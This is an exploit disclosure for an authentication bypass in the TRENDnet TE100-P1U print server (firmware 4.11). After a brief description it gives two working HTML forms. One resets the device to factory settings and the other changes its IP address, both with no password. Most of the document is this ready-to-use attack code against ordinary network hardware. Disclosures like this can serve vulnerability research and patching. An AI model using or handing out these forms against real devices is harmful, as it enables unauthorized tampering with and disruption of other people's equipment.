75 lines
No EOL
2.6 KiB
Text
75 lines
No EOL
2.6 KiB
Text
#############################################################
|
|
#
|
|
# Exploit Title: TRENDnet TE100-P1U Print Server Firmware 4.11 Authentication Bypass Vulnerability
|
|
# Date: 2013/6/20
|
|
# Exploit Author: Chako
|
|
# Firmware Version: 4.11
|
|
# Tested on: Windows 7
|
|
#############################################################
|
|
|
|
|
|
Description:
|
|
=====================
|
|
A remote authentication bypass vulnerability affects TRENDnet TE100-P1U Print Server.
|
|
This issue is due to a failure of the application to validate authentication
|
|
credentials when processing print server configuration change requests.
|
|
An attacker could reset print server to factory sttings or changeing its IP address without
|
|
password security check.
|
|
|
|
Exploit:
|
|
=====================
|
|
|
|
1)Reset Print Server To Factory Settings
|
|
|
|
<form action="http://IP/Reply.htm" method="POST">
|
|
<table border="0" cellpadding="3" cellspacing="0" width="100%">
|
|
<tbody><tr><td class="headerbg">Factory Reset</td></tr>
|
|
</tbody></table>
|
|
<table bgcolor="#FFFFFF" border="0" cellpadding="5" cellspacing="1" width="100%">
|
|
<tbody><tr><td height="50" bgcolor="#F0F0F0"> <span class="bluetextbold">Do you want to restore Print Server to factory default setting?</span></td></tr>
|
|
</tbody></table><br>
|
|
<input name="Factory" value=" Yes " type="submit" width="60">
|
|
</form>
|
|
|
|
|
|
|
|
1)Change Print Server IP Address
|
|
|
|
<form action="http://IP/Network.htm" method="POST">
|
|
<table border="0" cellpadding="3" cellspacing="0" width="100%">
|
|
<tbody><tr><td class="headerbg">Change IP Address</td></tr>
|
|
</tbody></table>
|
|
<table bgcolor="#FFFFFF" border="0" cellpadding="5" cellspacing="1" width="100%">
|
|
<tbody><tr>
|
|
<td class="bluetextbold" align="right" bgcolor="#C5CEDA" valign="top" width="150"> IP Address:</td>
|
|
<td bgcolor="#F0F0F0" valign="top">
|
|
<table border="0">
|
|
<tbody><tr><td>
|
|
<input name="IP_ASSIGN" value="1" type="radio">Manually Assign
|
|
<table border="0" cellpadding="3" cellspacing="0">
|
|
<tbody><tr>
|
|
<td width="20"></td><td>IP Address</td>
|
|
<td>: <input size="18" name="IP_Address" value="192.168.1.110" type="text"></td>
|
|
</tr>
|
|
<tr>
|
|
<td></td><td>Subnet Mask</td>
|
|
<td>: <input size="18" name="Subnet_Mask" value="255.255.255.0" type="text"></td>
|
|
</tr>
|
|
<tr>
|
|
<td></td><td>Default Gateway</td>
|
|
<td>: <input size="18" name="Default_Gateway" value="192.168.1.254" type="text"></td>
|
|
</tr>
|
|
</tbody></table>
|
|
</td></tr>
|
|
|
|
</tbody></table>
|
|
</td>
|
|
</tr>
|
|
</tbody></table>
|
|
<table border="0" cellpadding="5" cellspacing="1" width="100%">
|
|
<tbody><tr>
|
|
<td height="50" width="149"> </td>
|
|
<td width="355"> <input name="Config2" value=" Save " type="submit" width="80"> <input value="Cancel" type="reset" width="80"></td>
|
|
</tr>
|
|
</tbody></table>
|
|
</form> |